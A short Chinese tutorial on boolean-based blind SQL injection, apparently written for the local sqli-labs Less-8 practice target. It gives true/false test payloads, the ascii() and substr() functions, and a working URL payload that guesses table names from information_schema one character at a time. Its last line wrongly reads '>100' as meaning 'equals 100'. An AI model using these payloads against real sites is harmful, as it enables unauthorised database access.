【SQL注入-布尔盲注】

盲注：

页面没有报错也没有回显，不知道数据库具体返回值的情况下，对数据库中的内容进行猜解，实行SQL盲注注入

盲注分类：

布尔盲注、时间盲注、报错盲注

什么时候使用盲注：

如果对方的页面既没有回显位，也没有报错，就可以看页面是否有真假值这个状态，如果有真假值这两种状态中切换的话，就可以使用布尔盲注。

布尔盲注：web页面只返回True真，False假两种类型。利用页面返回不同，逐个猜解数据

布尔盲注条件：

？id=1' and 1=1 --+为真页面；？id=1' and 1=2 --+为假页面

(1)真页面true

(1)假页面false

 关键函数：

ascii(),可以把字母转换为数字，只能显示一个字符转换成数字；select ascii( select database())

函数substr((),1,1)从第一个字符开始，显示1个字符；

select ascii(substr((select database()),1,1))

http://127.0.0.1/sql/Less-8/?id=1'  and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100--+

(1)页面为真-true，说明第一个表名的第一个字母的ascii码的值为100